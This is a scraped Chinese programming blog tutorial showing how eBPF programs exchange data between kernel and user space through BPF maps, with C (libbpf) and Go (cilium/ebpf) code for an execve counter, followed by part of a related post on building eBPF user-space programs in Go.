https://github.com/bigwhite/experiments/tree/master/ebpf-examples/execve-counter/execve_counter.bpf.c #include \u0026lt;linux/bpf.h\u0026gt; #include \u0026lt;bpf/bpf_helpers.h\u0026gt; typedef __u64 u64; typedef char stringkey[64]; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 128); //__type(key, stringkey); stringkey* key; __type(value, u64); } execve_counter SEC(\u0026quot;.maps\u0026quot;); SEC(\u0026quot;tracepoint/syscalls/sys_enter_execve\u0026quot;) int bpf_prog(void *ctx) { stringkey key = \u0026quot;execve_counter\u0026quot;; u64 *v = NULL; v = bpf_map_lookup_elem(\u0026amp;execve_counter, \u0026amp;key); if (v != NULL) { *v += 1; } return 0; } char LICENSE[] SEC(\u0026quot;license\u0026quot;) = \u0026quot;Dual BSD/GPL\u0026quot;; 和helloworld示例不同，我们在新示例中定义了一个map结构execve_counter，通过SEC宏将其标记为BPF MAP变量。\n这个map结构有四个字段：\ntype: 使用的BPF MAP类型(参见前面的bpf_map_type枚举类型)，这里我们使用BPF_MAP_TYPE_HASH，即一个hash散列表结构； max_entries：map内的key-value对的最大数量； key: 指向key内存空间的指针。这里我们自定义了一个类型stringkey(char[64])来表示每个key元素的类型； value: 指向value内存空间的指针，这里value元素的类型为u64，一个64位整型。 内核态函数bpf_prog的实现也比较简单：在上面的map中查询”execve_counter”这个key，如果查到了，则将得到的value指针指向的内存中的值加1。\n我们再来看看execve_counter这个示例的用户态部分的程序源码：\n// https://github.com/bigwhite/experiments/tree/master/ebpf-examples/execve_counter/execve_counter.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;sys/resource.h\u0026gt; #include \u0026lt;bpf/libbpf.h\u0026gt; #include \u0026lt;linux/bpf.h\u0026gt; #include \u0026quot;execve_counter.skel.h\u0026quot; typedef __u64 u64; typedef char stringkey[64]; static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) { return vfprintf(stderr, format, args); } int main(int argc, char **argv) { struct execve_counter_bpf *skel; int err; libbpf_set_strict_mode(LIBBPF_STRICT_ALL); /* Set up libbpf errors and debug info callback */ libbpf_set_print(libbpf_print_fn); /* Open BPF application */ skel = execve_counter_bpf__open(); if (!skel) { fprintf(stderr, \u0026quot;Failed to open BPF skeleton\\n\u0026quot;); return 1; } /* Load \u0026amp; verify BPF programs */ err = execve_counter_bpf__load(skel); if (err) { fprintf(stderr, \u0026quot;Failed to load and verify BPF skeleton\\n\u0026quot;); goto cleanup; } /* init the counter */ stringkey key = \u0026quot;execve_counter\u0026quot;; u64 v = 0; err = bpf_map__update_elem(skel-\u0026gt;maps.execve_counter, \u0026amp;key, sizeof(key), \u0026amp;v, sizeof(v), BPF_ANY); if (err != 0) { fprintf(stderr, \u0026quot;Failed to init the counter, %d\\n\u0026quot;, err); goto cleanup; } /* Attach tracepoint handler */ err = execve_counter_bpf__attach(skel); if (err) { fprintf(stderr, \u0026quot;Failed to attach BPF skeleton\\n\u0026quot;); goto cleanup; } for (;;) { // read counter value from map err = bpf_map__lookup_elem(skel-\u0026gt;maps.execve_counter, \u0026amp;key, sizeof(key), \u0026amp;v, sizeof(v), BPF_ANY); if (err != 0) { fprintf(stderr, \u0026quot;Lookup key from map error: %d\\n\u0026quot;, err); goto cleanup; } else { printf(\u0026quot;execve_counter is %llu\\n\u0026quot;, v); } sleep(5); } cleanup: execve_counter_bpf__destroy(skel); return -err; } map是在execve_counter_bpf__load中完成的创建，跟踪代码你会发现(参考libbpf源码)，最终会调用bpf系统调用创建map。\n和helloworld示例不同的是，我们在attach handler之前，先使用libbpf封装的bpf_map__update_elem初始化了bpf map中的key(初始化为0，如果没有这一步，第一次bpf程序执行时，会提示找不到key)。\n然后attach handler后，我们在一个循环中每隔5s通过bpf_map__lookup_elem查询一下key=”execve_counter”的值并输出到控制台。\n用户态程序之所以可以直接使用map，是因为bpftool基于execve_counter.bpf.c生成的execve_counter.skel.h中包含了map的各种信息。\n接下来我们执行make编译一下这个ebpf程序，然后执行并观察输出：\n$sudo ./execve_counter libbpf: loading object 'execve_counter_bpf' from buffer libbpf: elf: section(3) tracepoint/syscalls/sys_enter_execve, size 192, link 0, flags 6, type=1 libbpf: sec 'tracepoint/syscalls/sys_enter_execve': found program 'bpf_prog' at insn offset 0 (0 bytes), code size 24 insns (192 bytes) libbpf: elf: section(4) .reltracepoint/syscalls/sys_enter_execve, size 16, link 22, flags 0, type=9 libbpf: elf: section(5) .rodata, size 64, link 0, flags 2, type=1 libbpf: elf: section(6) .maps, size 32, link 0, flags 3, type=1 libbpf: elf: section(7) license, size 13, link 0, flags 3, type=1 libbpf: license of execve_counter_bpf is Dual BSD/GPL libbpf: elf: section(13) .BTF, size 898, link 0, flags 0, type=1 libbpf: elf: section(15) .BTF.ext, size 176, link 0, flags 0, type=1 libbpf: elf: section(22) .symtab, size 744, link 1, flags 0, type=2 libbpf: looking for externs among 31 symbols... libbpf: collected 0 externs total libbpf: map 'execve_counter': at sec_idx 6, offset 0. libbpf: map 'execve_counter': found type = 1. libbpf: map 'execve_counter': found key [9], sz = 64. libbpf: map 'execve_counter': found value [13], sz = 8. libbpf: map 'execve_counter': found max_entries = 128. libbpf: map 'execve_c.rodata' (global data): at sec_idx 5, offset 0, flags 480. libbpf: map 1 is \u0026quot;execve_c.rodata\u0026quot; libbpf: sec '.reltracepoint/syscalls/sys_enter_execve': collecting relocation for section(3) 'tracepoint/syscalls/sys_enter_execve' libbpf: sec '.reltracepoint/syscalls/sys_enter_execve': relo #0: insn #15 against 'execve_counter' libbpf: prog 'bpf_prog': found map 0 (execve_counter, sec 6, off 0) for insn #15 libbpf: map 'execve_counter': created successfully, fd=4 libbpf: map 'execve_c.rodata': created successfully, fd=5 execve_counter is 0 execve_counter is 0 execve_counter is 9 execve_counter is 23 ... ... 注：如果不知道如何编译execve_counter这个示例，请先移步《使用C语言从头开发一个Hello World级别的eBPF程序》了解其构建原理。\nbpftool工具提供了查看map的特性，我们可以通过它查看示例创建的map：\n$sudo bpftool map 114: hash name execve_counter flags 0x0 key 64B value 8B max_entries 128 memlock 20480B btf_id 120 116: array name execve_c.rodata flags 0x80 key 4B value 64B max_entries 1 memlock 4096B frozen 我们还可以dump一下整个map：\n$sudo bpftool map dump id 114 [{ \u0026quot;key\u0026quot;: \u0026quot;execve_counter\u0026quot;, \u0026quot;value\u0026quot;: 23 } ] 我们看到，整个map中就一个键值对(key=”execve_counter”)，其值与示例的用户态部分程序输出的一致。\n好了，有了C示例作为基础，我们再来看看如何基于Go来实现这个示例。\n四. 使用Go基于cilium/ebpf实现execve-counter示例 使用Go开发BPF用户态部分程序要容易的多，cilium/ebpf提供了的包用起来很简单。如果还不知道如何用Go开发ebpf用户态部分的套路，请先移步《使用Go语言开发eBPF程序》一文了解一下。\nGo语言示例的必不可少的原料是execve_counter.bpf.c，这个C源码文件与上面的execve_counter示例中的execve_counter.bpf.c的唯一差别就是include的头文件改成了common.h：\n$diff execve_counter.bpf.c ../execve-counter/execve_counter.bpf.c 1,2c1,2 \u0026lt; \u0026lt; #include \u0026quot;common.h\u0026quot; --- \u0026gt; #include \u0026lt;linux/bpf.h\u0026gt; \u0026gt; #include \u0026lt;bpf/bpf_helpers.h\u0026gt; 基于原料execve_counter.bpf.c，bpf2go工具会生成用户态部分所需的Go源码，比如：bpfObject中包含的bpf map实例：\n// bpfMaps contains all maps after they have been loaded into the kernel. // // It can be passed to loadBpfObjects or ebpf.CollectionSpec.LoadAndAssign. type bpfMaps struct { ExecveCounter *ebpf.Map `ebpf:\u0026quot;execve_counter\u0026quot;` } 最后，我们在main包main函数中直接使用这些生成的与bpf objects相关的Go函数即可，下面是main.go部分源码：\n// https://github.com/bigwhite/experiments/tree/master/ebpf-examples/execve-counter-go/main.go // $BPF_CLANG, $BPF_CFLAGS and $BPF_HEADERS are set by the Makefile. //go:generate bpf2go -cc $BPF_CLANG -cflags $BPF_CFLAGS -target bpfel,bpfeb bpf execve_counter.bpf.c -- -I $BPF_HEADERS func main() { stopper := make(chan os.Signal, 1) signal.Notify(stopper, os.Interrupt, syscall.SIGTERM) // Allow the current process to lock memory for eBPF resources. if err := rlimit.RemoveMemlock(); err != nil { log.Fatal(err) } // Load pre-compiled programs and maps into the kernel. objs := bpfObjects{} if err := loadBpfObjects(\u0026amp;objs, nil); err != nil { log.Fatalf(\u0026quot;loading objects: %s\u0026quot;, err) } defer objs.Close() // init the map element var key [64]byte copy(key[:], []byte(\u0026quot;execve_counter\u0026quot;)) var val int64 = 0 if err := objs.bpfMaps.ExecveCounter.Put(key, val); err != nil { log.Fatalf(\u0026quot;init map key error: %s\u0026quot;, err) } // attach to xxx kp, err := link.Tracepoint(\u0026quot;syscalls\u0026quot;, \u0026quot;sys_enter_execve\u0026quot;, objs.BpfProg, nil) if err != nil { log.Fatalf(\u0026quot;opening tracepoint: %s\u0026quot;, err) } defer kp.Close() ticker := time.NewTicker(5 * time.Second) defer ticker.Stop() for { select { case \u0026lt;-ticker.C: if err := objs.bpfMaps.ExecveCounter.Lookup(key, \u0026amp;val); err != nil { log.Fatalf(\u0026quot;reading map error: %s\u0026quot;, err) } log.Printf(\u0026quot;execve_counter: %d\\n\u0026quot;, val) case \u0026lt;-stopper: // Wait for a signal and close the perf reader, // which will interrupt rd.Read() and make the program exit. log.Println(\u0026quot;Received signal, exiting program..\u0026quot;) return } } } 在main函数，我们通过objs.bpfMaps.ExecveCounter直接访问map实例，并通过其Put和Lookup方法可以直接操作map。这里要注意的是key的类型必须与execve_counter.bpf.c中的key类型(char[64])保持内存布局一致，不能直接用string类型，否则会在执行时报下面错误：\ninit map key error: can't marshal key: string doesn't marshal to 64 bytes 编译和执行execve-counter-go和helloworld-go别无二致：\n$make $go run -exec sudo main.go bpf_bpfel.go 2022/07/17 16:59:52 execve_counter: 0 2022/07/17 16:59:57 execve_counter: 14 ^C2022/07/17 16:59:59 Received signal, exiting program.. 五. 小结 本文介绍了eBPF内核态部分与用户态部分进行数据交换的主要方法：BPF MAP机制。这里的MAP不是狭义的一种hash散列表，而是一个抽象数据结构容器，目前支持二十几种数据结构，大家可以根据自己的需求挑选适当的结构（可查询手册了解各种数据结构的特点)。\nMAP本质上也是由bpf系统调用创建的，bpf程序只需要声明map的key、value、type等组成信息即可。用户态可以通过bpf系统调用返回的fd操作map，libbpf和cilium/ebpf等封装了对fd的操作，这样简化了API的使用。\n内核中map的update操作不是原子的，因此当有多个bpf程序并发访问一个map时，需要同步操作。bpf提供了bpf_spin_lock来实现对map操作的同步。我们可以在value类型中加入bpf_spin_lock来同步对value的修改，就像下面的例子(例子来自《Linux Observability with BPF》一书)：\nstruct concurrent_element { struct bpf_spin_lock semaphore; int count; } struct bpf_map_def SEC(\u0026quot;maps\u0026quot;) concurrent_map = { .type = BPF_MAP_TYPE_HASH, .key_size = sizeof(int), .value_size = sizeof(struct concurrent_element), .max_entries = 100, }; int bpf_program(struct pt_regs *ctx) { intkey=0; struct concurrent_element init_value = {}; struct concurrent_element *read_value; bpf_map_create_elem(\u0026amp;concurrent_map, \u0026amp;key, \u0026amp;init_value, BPF_NOEXIST); read_value = bpf_map_lookup_elem(\u0026amp;concurrent_map, \u0026amp;key); bpf_spin_lock(\u0026amp;read_value-\u0026gt;semaphore); read_value-\u0026gt;count += 100; bpf_spin_unlock(\u0026amp;read_value-\u0026gt;semaphore); } 本文涉及代码可以在这里下载。\n六. 参考资料 《揭秘BPF map前生今世》 – https://www.ebpf.top/post/map_internal/ 《边缘网络eBPF超能力：eBPF map原理与性能解析》 – https://mp.weixin.qq.com/s/Is84xGHFExE1BPkbPpKjwg bpf系统调用说明 – https://man7.org/linux/man-pages/man2/bpf.2.html 官方bpf map参考手册 – https://www.kernel.org/doc/html/latest/bpf/maps.html bpftool参考手册 – https://www.mankier.com/8/bpftool 《Building BPF applications with libbpf-bootstrap》 – https://nakryiko.com/posts/libbpf-bootstrap/#bpf-maps “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/07/25/bidirectional-data-exchange-between-kernel-and-user-states-of-ebpf-programs-using-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/bidirectional-data-exchange-between-kernel-and-user-states-of-ebpf-programs-using-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/07/25/bidirectional-data-exchange-between-kernel-and-user-states-of-ebpf-programs-using-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/07/25/bidirectional-data-exchange-between-kernel-and-user-states-of-ebpf-programs-using-go\"\u003ehttps://tonybai.com/2022/07/25/bidirectional-data-exchange-between-kernel-and-user-states-of-ebpf-programs-using-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在之前的两篇文章中，无论是\u003ca href=\"https://tonybai.com/2022/07/05/develop-hello-world-ebpf-program-in-c-from-scratch\"\u003e使用C语言开发eBPF程序\u003c/a\u003e，还是\u003ca href=\"https://tonybai.com/2022/07/19/develop-ebpf-program-in-go/\"\u003e使用Go开发的eBPF程序\u003c/a\u003e，都是hello world级别的，可能有用，但谈不上十分实用。\u003c/p\u003e\n\u003cp\u003e通常来说，一个实用的eBPF程序，它的内核态部分与用户态部分是有数据交换的，有了这种数据交换，eBPF才能发挥更大的威力。而要想让eBPF程序具备较强的实用性，\u003cstrong\u003eeBPF MAP是绕不过去的机制\u003c/strong\u003e。\u003c/p\u003e","title":"使用Go语言实现eBPF程序内核态与用户态的双向数据交换"},{"content":"\n本文永久链接 – https://tonybai.com/2022/07/19/develop-ebpf-program-in-go\n在前面的《使用C语言从头开发一个Hello World级别的eBPF程序》一文中，我们详细说明了如何基于C语言和libbpf库从头开发一个eBPF程序(包括其用户态部分)。那篇文章是后续有关eBPF程序开发文章的基础，因为到目前为止，无论eBPF程序的用户态部分用什么语言开发，运行于内核态的eBPF程序内核态部分还是必须由C语言开发的。这样一来，其他编程语言只能拼一下如何让eBPF程序的用户态部分的开发更为简单了，Go语言也不例外。\n在Go社区中，目前最为活跃的用于开发eBPF用户态部分的Go eBPF包莫过于cilium项目开源的cilium/ebpf，cilium项目背后的Isovalent公司也是eBPF技术在云原生领域应用的主要推手之一。\n本文我们就来说说基于cilium/ebpf开发eBPF程序的套路！\n一. 探索cilium/ebpf项目示例 cilium/ebpf项目借鉴了libbpf-boostrap的思路，通过代码生成与bpf程序内嵌的方式构建eBPF程序用户态部分。为了搞清楚基于cilium/ebpf开发ebpf程序的套路，我们先来探索一下cilium/ebpf项目提供的示例代码。\n我们首先来下载和看看ebpf的示例的结构。\n下载cilium/ebpf项目\n$ git clone https://github.com/cilium/ebpf.git Cloning into \u0026rsquo;ebpf\u0026rsquo;\u0026hellip; remote: Enumerating objects: 7054, done. remote: Counting objects: 100% (183/183), done. remote: Compressing objects: 100% (112/112), done. remote: Total 7054 (delta 91), reused 124 (delta 69), pack-reused 6871 Receiving objects: 100% (7054/7054), 10.91 MiB | 265.00 KiB/s, done. Resolving deltas: 100% (4871/4871), done.\n探索ebpf项目示例代码结构\nebpf示例在examples目录下，我们以tracepoint_in_c为例看看其组织形式：\n$tree tracepoint_in_c tracepoint_in_c ├── bpf_bpfeb.go ├── bpf_bpfeb.o ├── bpf_bpfel.go ├── bpf_bpfel.o ├── main.go └── tracepoint.c 0 directories, 6 files 根据经验判断，这里面的tracepoint.c对应的是ebpf程序内核态部分，而main.go和bpf_bpfel.go/bpf_bpfeb.go则是ebpf程序用户态部分，至于bpf_bpfeb.o/bpf_bpfel.o应该是某种中间目标文件。通过readelf -a bpf_bpfeb.o查看该中间文件：\n$readelf -a bpf_bpfeb.o ELF Header: Magic: 7f 45 4c 46 02 02 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, big endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: REL (Relocatable file) Machine: Linux BPF Version: 0x1 Entry point address: 0x0 Start of program headers: 0 (bytes into file) Start of section headers: 1968 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 0 (bytes) Number of program headers: 0 Size of section headers: 64 (bytes) Number of section headers: 13 Section header string table index: 1 ... ... 我们看到这是一个内含linux bpf字节码的elf文件(Machine: Linux BPF)。\n阅读了cilium/ebpf的相关文档，我搞明白了这几个文件的关系，用下面示意图呈现给大家：\nebpf程序的源码文件(比如图中tracepoint.c)经过bpf2go(cilium/ebpf提供的一个代码生成工具)被编译(bpf2go调用clang)为ebpf字节码文件bpf_bpfeb.o(大端)和bpf_bpfel.o(小端)，然后bpf2go会基于ebpf字节码文件生成bpf_bpfeb.go或bpf_bpfel.go，ebpf程序的字节码会以二进制数据的形式内嵌到这两个go源文件中，以bpf_bpfel.go为例，我们可以在其代码中找到下面内容(利用go:embed特性)：\n//go:embed bpf_bpfel.o var _BpfBytes []byte main.go则是ebpf程序用户态部分的主程序，将main.go与bpf_bpfeb.go或bpf_bpfel.go之一一起编译就形成了ebpf程序。\n有了对cilium/ebpf项目示例的初步探索后，我们来构建ebpf示例代码。\n二. 构建ebpf示例代码 cilium/ebpf提供了便利的构建脚本，我们只需在ebpf/examples下面执行”make -C ..”即可进行示例代码的构建。\nmake构建过程会基于quay.io/cilium/ebpf-builder镜像启动构建容器，不过在国内的童鞋需要像下面一样对Makefile内容做一丁点修改，增加GOPROXY环境变量，否则wall外的go module无法拉取：\n$git diff ../Makefile diff --git a/Makefile b/Makefile index 3a1da88..d7b1712 100644 --- a/Makefile +++ b/Makefile @@ -48,6 +48,7 @@ container-all: ${CONTAINER_ENGINE} run --rm ${CONTAINER_RUN_ARGS} \\ -v \u0026quot;${REPODIR}\u0026quot;:/ebpf -w /ebpf --env MAKEFLAGS \\ --env CFLAGS=\u0026quot;-fdebug-prefix-map=/ebpf=.\u0026quot; \\ + --env GOPROXY=\u0026quot;https://goproxy.io\u0026quot; \\ --env HOME=\u0026quot;/tmp\u0026quot; \\ \u0026quot;${IMAGE}:${VERSION}\u0026quot; \\ $(MAKE) all 这之后再执行构建就会顺利得到我们所要的结果：\n$ cd examples $ make -C .. make: Entering directory '/root/go/src/github.com/cilium/ebpf' docker run --rm --user \u0026quot;0:0\u0026quot; \\ -v \u0026quot;/root/go/src/github.com/cilium/ebpf\u0026quot;:/ebpf -w /ebpf --env MAKEFLAGS \\ --env CFLAGS=\u0026quot;-fdebug-prefix-map=/ebpf=.\u0026quot; \\ --env GOPROXY=\u0026quot;https://goproxy.io\u0026quot; \\ --env HOME=\u0026quot;/tmp\u0026quot; \\ \u0026quot;quay.io/cilium/ebpf-builder:1648566014\u0026quot; \\ make all make: Entering directory '/ebpf' find . -type f -name \u0026quot;*.c\u0026quot; | xargs clang-format -i go generate ./cmd/bpf2go/test go: downloading golang.org/x/sys v0.0.0-20210906170528-6f6e22806c34 Compiled /ebpf/cmd/bpf2go/test/test_bpfel.o Stripped /ebpf/cmd/bpf2go/test/test_bpfel.o Wrote /ebpf/cmd/bpf2go/test/test_bpfel.go Compiled /ebpf/cmd/bpf2go/test/test_bpfeb.o Stripped /ebpf/cmd/bpf2go/test/test_bpfeb.o Wrote /ebpf/cmd/bpf2go/test/test_bpfeb.go go generate ./internal/sys enum AdjRoomMode enum AttachType enum Cmd enum FunctionId enum HdrStartOff enum LinkType enum MapType enum ProgType enum RetCode enum SkAction enum StackBuildIdStatus enum StatsType enum XdpAction struct BtfInfo ... ... attr ProgRun attr RawTracepointOpen cd examples/ \u0026amp;\u0026amp; go generate ./... go: downloading github.com/cilium/ebpf v0.8.2-0.20220424153111-6da9518107a8 go: downloading golang.org/x/sys v0.0.0-20211001092434-39dca1131b70 Compiled /ebpf/examples/cgroup_skb/bpf_bpfel.o Stripped /ebpf/examples/cgroup_skb/bpf_bpfel.o Wrote /ebpf/examples/cgroup_skb/bpf_bpfel.go Compiled /ebpf/examples/cgroup_skb/bpf_bpfeb.o Stripped /ebpf/examples/cgroup_skb/bpf_bpfeb.o Wrote /ebpf/examples/cgroup_skb/bpf_bpfeb.go Compiled /ebpf/examples/fentry/bpf_bpfeb.o Stripped /ebpf/examples/fentry/bpf_bpfeb.o Wrote /ebpf/examples/fentry/bpf_bpfeb.go Compiled /ebpf/examples/fentry/bpf_bpfel.o Stripped /ebpf/examples/fentry/bpf_bpfel.o Wrote /ebpf/examples/fentry/bpf_bpfel.go Compiled /ebpf/examples/kprobe/bpf_bpfel.o Stripped /ebpf/examples/kprobe/bpf_bpfel.o Wrote /ebpf/examples/kprobe/bpf_bpfel.go Stripped /ebpf/examples/uretprobe/bpf_bpfel_x86.o ... ... Wrote /ebpf/examples/uretprobe/bpf_bpfel_x86.go ln -srf testdata/loader-clang-14-el.elf testdata/loader-el.elf ln -srf testdata/loader-clang-14-eb.elf testdata/loader-eb.elf make: Leaving directory '/ebpf' make: Leaving directory '/root/go/src/github.com/cilium/ebpf' 以uretprobe下面的ebpf为例，我们运行一下：\n$go run -exec sudo uretprobe/*.go 2022/06/05 18:23:23 Listening for events.. 打开一个新的terminal，然后在用户home目录下执行vi .bashrc。在上面的uretprobe程序的执行窗口我们能看到：\n2022/06/05 18:24:34 Listening for events.. 2022/06/05 18:24:42 /bin/bash:readline return value: vi .bashrc 这就表明uretprobe下面的ebpf程序如预期地执行了。\n三. 使用cilium/ebpf为前文的Hello World eBPF程序开发用户态部分 有了对cilium/ebpf示例程序的初步了解，下面我们就来为前面的《使用C语言从头开发一个Hello World级别的eBPF程序》一文中的那个helloworld ebpf程序开发用户态部分。\n回顾一下那个hello world ebpf程序的C源码：\n// github.com/bigwhite/experiments/tree/master/ebpf-examples/helloworld-go/helloworld.bpf.c #include \u0026lt;linux/bpf.h\u0026gt; #include \u0026lt;bpf/bpf_helpers.h\u0026gt; SEC(\u0026quot;tracepoint/syscalls/sys_enter_execve\u0026quot;) int bpf_prog(void *ctx) { char msg[] = \u0026quot;Hello, World!\u0026quot;; bpf_printk(\u0026quot;invoke bpf_prog: %s\\n\u0026quot;, msg); return 0; } char LICENSE[] SEC(\u0026quot;license\u0026quot;) = \u0026quot;Dual BSD/GPL\u0026quot;; 当这个ebpf程序被加载到内核中后，每当execve这个系统调用被执行，该ebpf程序都会被调用一次，我们就会在/sys/kernel/debug/tracing/trace_pipe中看到对应的日志输出。\n1. 使用bpf2go将ebpf核心态程序转换为Go代码 根据我们在前面探索cilium/ebpf示例程序时所得到的“套路”，我们接下来第一个要做的就是将helloworld.bpf.c转换为Go代码文件，这一转换过程不可缺少的工具就是cilium/ebpf提供的bpf2go工具，我们先来安装一下该工具：\n$go install github.com/cilium/ebpf/cmd/bpf2go@latest 接下来，我们可以直接使用bpf2go工具将helloworld.ebpf.c转换为对应的go源文件：\n$GOPACKAGE=main bpf2go -cc clang-10 -cflags '-O2 -g -Wall -Werror' -target bpfel,bpfeb bpf helloworld.bpf.c -- -I /home/tonybai/test/ebpf/libbpf/include/uapi -I /usr/local/bpf/include -idirafter /usr/local/include -idirafter /usr/lib/llvm-10/lib/clang/10.0.0/include -idirafter /usr/include/x86_64-linux-gnu -idirafter /usr/include Compiled /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfel.o Stripped /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfel.o Wrote /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfel.go Compiled /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfeb.o Stripped /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfeb.o Wrote /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfeb.go 不过这里有一个问题，那就是bpf2go命令行后面的一系列提供给clang编译器的头文件引用路径参考了《使用C语言从头开发一个Hello World级别的eBPF程序》一文中的Makefile。如果按照这些头文件路径来引用，虽然bpf2go转换可以成功，但是我们需要依赖并安装libbpf这个库，这显然不是我们想要的。\ncilium/ebpf在examples中提供了一个headers目录，这个目录中包含了开发ebpf程序用户态部分所需的所有头文件，我们使用它作为我们的头文件引用路径。不过要想基于这个headers目录构建ebpf，我们需要将helloworld.bpf.c中的原头文件include语句由：\n#include \u0026lt;linux/bpf.h\u0026gt; #include \u0026lt;bpf/bpf_helpers.h\u0026gt; 改为：\n#include \u0026quot;common.h\u0026quot; 接下来我们再来执行bpf2go工具进行转换：\n$GOPACKAGE=main bpf2go -cc clang-10 -cflags '-O2 -g -Wall -Werror' -target bpfel,bpfeb bpf helloworld.bpf.c -- -I /home/tonybai/go/src/github.com/cilium/ebpf/examples/headers Compiled /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfel.o Stripped /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfel.o Wrote /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfel.go Compiled /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfeb.o Stripped /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfeb.o Wrote /home/tonybai/go/src/github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfeb.go 我们看到bpf2go顺利生成ebpf字节码与对应的Go源文件。\n2. 构建helloworld ebpf程序用户态部分 下面是参考cilium/ebpf示例而构建的helloword ebpf程序用户态部分的main.go源码：\n// github.com/bigwhite/experiments/ebpf-examples/helloworld-go/main.go package main import ( \u0026quot;log\u0026quot; \u0026quot;os\u0026quot; \u0026quot;os/signal\u0026quot; \u0026quot;syscall\u0026quot; \u0026quot;github.com/cilium/ebpf/link\u0026quot; \u0026quot;github.com/cilium/ebpf/rlimit\u0026quot; ) func main() { stopper := make(chan os.Signal, 1) signal.Notify(stopper, os.Interrupt, syscall.SIGTERM) // Allow the current process to lock memory for eBPF resources. if err := rlimit.RemoveMemlock(); err != nil { log.Fatal(err) } // Load pre-compiled programs and maps into the kernel. objs := bpfObjects{} if err := loadBpfObjects(\u0026amp;objs, nil); err != nil { log.Fatalf(\u0026quot;loading objects: %s\u0026quot;, err) } defer objs.Close() //SEC(\u0026quot;tracepoint/syscalls/sys_enter_execve\u0026quot;) // attach to xxx kp, err := link.Tracepoint(\u0026quot;syscalls\u0026quot;, \u0026quot;sys_enter_execve\u0026quot;, objs.BpfProg, nil) if err != nil { log.Fatalf(\u0026quot;opening tracepoint: %s\u0026quot;, err) } defer kp.Close() log.Printf(\u0026quot;Successfully started! Please run \\\u0026quot;sudo cat /sys/kernel/debug/tracing/trace_pipe\\\u0026quot; to see output of the BPF programs\\n\u0026quot;) // Wait for a signal and close the perf reader, // which will interrupt rd.Read() and make the program exit. \u0026lt;-stopper log.Println(\u0026quot;Received signal, exiting program..\u0026quot;) } 我们知道一个ebpf程序有几个关键组成：\nebpf程序数据 map：用于用户态与内核态的数据交互 挂接点(attach point) 根据cilium/ebpf架构的说明，ebpf包将前两部分抽象为了一个数据结构bpfObjects：\n// github.com/bigwhite/experiments/ebpf-examples/helloworld-go/bpf_bpfel.go // bpfObjects contains all objects after they have been loaded into the kernel. // // It can be passed to loadBpfObjects or ebpf.CollectionSpec.LoadAndAssign. type bpfObjects struct { bpfPrograms bpfMaps } 我们看到，main函数通过生成的loadBpfObjects函数将ebpf程序加载到内核，并填充bpfObjects结构，一旦加载bpf程序成功，后续我们便可以使用bpfObjects结构中的字段来完成其余操作，比如通过link包的函数将bpf程序与目标挂节点对接在一起(如文中的link.Tracepoint函数），这样挂接后，bpf才能在对应的事件发生后被回调执行。\n下面编译执行一下该helloworld示例：\n$go run -exec sudo main.go bpf_bpfel.go [sudo] password for tonybai: 2022/06/05 14:12:40 Successfully started! Please run \u0026quot;sudo cat /sys/kernel/debug/tracing/trace_pipe\u0026quot; to see output of the BPF programs 之后新打开一个窗口，执行sudo cat /sys/kernel/debug/tracing/trace_pipe，当execve被调用时，我们就能看到类似下面的日志输出：\n\u0026lt;...\u0026gt;-551077 [000] .... 6062226.208943: 0: invoke bpf_prog: Hello, World! \u0026lt;...\u0026gt;-551077 [000] .... 6062226.209098: 0: invoke bpf_prog: Hello, World! \u0026lt;...\u0026gt;-551079 [007] .... 6062226.215421: 0: invoke bpf_prog: Hello, World! \u0026lt;...\u0026gt;-551079 [007] .... 6062226.215578: 0: invoke bpf_prog: Hello, 